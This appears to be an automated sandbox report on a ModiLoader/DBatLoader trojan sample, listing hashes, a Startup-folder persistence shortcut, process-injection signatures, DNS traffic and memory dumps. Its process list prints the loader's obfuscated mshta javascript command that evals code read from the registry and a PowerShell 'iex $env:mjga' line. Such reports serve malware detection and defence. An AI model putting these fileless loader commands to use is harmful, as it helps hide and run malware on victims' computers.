SHA1	41d6adf698248463b48b4ce525a267d39cd1f36c
SHA256	3f299f2a0231b7f799843e657972ebcd76be0f6d3c02fab331ed1d7f80a7244c
SHA512	fd57a917abae6aba172be675611f11715025fc039f7a423a04f52f067117acbb83cbd4c68ac9a225ad99683d4c0d77f885e36190b3e0ad7b04d17164a847c94e

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\a0815f.lnk

MD5	62babfbc03148949b03480fc88958278
SHA1	3d0bc72e840849856704894f84774006ffeb647d
SHA256	3f4f25c98717d1c1857e524ec37670ffd020d14cf3c2e77b8b292c9a818335f4
SHA512	b60884682547913ef6657039f3e10df7bb42ff3eae8a3ed2d69fbbedc6dc0c3fd2bd196c1e4b13b1539a80f003d426bb685db6c2790d2b37d7897628c33587cd

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-28 23:05

Reported

2024-05-28 23:08

Platform

win10v2004-20240508-en

Max time kernel

148s

Max time network

154s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description	Indicator	Process	Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	N/A	C:\Windows\system32\mshta.exe

ModiLoader Second Stage

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Checks computer location settings

Description	Indicator	Process	Target
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	C:\Windows\system32\mshta.exe	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 2696 set thread context of 2056	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2696 wrote to memory of 2056	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2696 wrote to memory of 2056	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2696 wrote to memory of 2056	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2696 wrote to memory of 2056	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2696 wrote to memory of 2056	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2696 wrote to memory of 2056	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2696 wrote to memory of 2056	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2696 wrote to memory of 2056	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2696 wrote to memory of 2056	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2696 wrote to memory of 2056	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 1032 wrote to memory of 4716	N/A	C:\Windows\system32\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1032 wrote to memory of 4716	N/A	C:\Windows\system32\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1032 wrote to memory of 4716	N/A	C:\Windows\system32\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:Y57LkRaY="8YUEfu";nL46=new%20ActiveXObject("WScript.Shell");KO72Mi="iz";p90FYR=nL46.RegRead("HKLM\\software\\Wow6432Node\\M73fv5kgc6\\UcDFQhFqt");q3fFI7Tzq="cGzB1";eval(p90FYR);zo46xAG="DFe3t";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:mjga

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	240.221.184.93.in-addr.arpa	udp
US	8.8.8.8:53	13.86.106.20.in-addr.arpa	udp
US	8.8.8.8:53	20.160.190.20.in-addr.arpa	udp
US	8.8.8.8:53	26.35.223.20.in-addr.arpa	udp
NL	23.62.61.129:443	www.bing.com	tcp
US	8.8.8.8:53	129.61.62.23.in-addr.arpa	udp
US	8.8.8.8:53	154.239.44.20.in-addr.arpa	udp
US	8.8.8.8:53	26.165.165.52.in-addr.arpa	udp
US	8.8.8.8:53	15.164.165.52.in-addr.arpa	udp
US	8.8.8.8:53	172.210.232.199.in-addr.arpa	udp
US	8.8.8.8:53	82.90.14.23.in-addr.arpa	udp
US	8.8.8.8:53	21.236.111.52.in-addr.arpa	udp
US	8.8.8.8:53	tse1.mm.bing.net	udp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	8.8.8.8:53	209.143.182.52.in-addr.arpa	udp

Files

memory/2056-2-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2056-4-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2056-5-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2056-10-0x00000000009A0000-0x0000000000A76000-memory.dmp

memory/2056-9-0x00000000009A0000-0x0000000000A76000-memory.dmp

memory/2056-7-0x00000000009A0000-0x0000000000A76000-memory.dmp

memory/2056-6-0x00000000009A0000-0x0000000000A76000-memory.dmp

memory/2056-8-0x00000000009A0000-0x0000000000A76000-memory.dmp

memory/2056-11-0x00000000009A0000-0x0000000000A76000-memory.dmp

memory/2056-12-0x00000000009A0000-0x0000000000A76000-memory.dmp

memory/4716-14-0x0000000002E30000-0x0000000002E66000-memory.dmp

memory/4716-15-0x0000000005800000-0x0000000005E28000-memory.dmp

memory/4716-16-0x0000000005780000-0x00000000057A2000-memory.dmp

memory/4716-17-0x0000000005F60000-0x0000000005FC6000-memory.dmp

memory/4716-18-0x0000000005FD0000-0x0000000006036000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mfug31kx.gla.ps1

MD5	d17fe0a3f47be24a6453e9ef58c94641
SHA1	6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256	96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512	5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4716-28-0x0000000006040000-0x0000000006394000-memory.dmp

memory/4716-29-0x0000000006540000-0x000000000655E000-memory.dmp

memory/4716-30-0x00000000065F0000-0x000000000663C000-memory.dmp

memory/4716-31-0x0000000007CE0000-0x000000000835A000-memory.dmp

memory/4716-32-0x0000000007600000-0x000000000761A000-memory.dmp

Sample ID	240528-2228xshb93
Target	7eb2d009c7361067bd31077957682245_JaffaCakes118
SHA256	8637fcf33c04917f955bc902ced26cfa595905a9ce48d3e8a0da6f794a3b5f3f
Tags	modiloader evasion persistence trojan

Malware Analysis Report

2024-08-06 14:24

Table of Contents

Analysis Overview

Threat Level: Known bad

Malicious Activity Summary

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files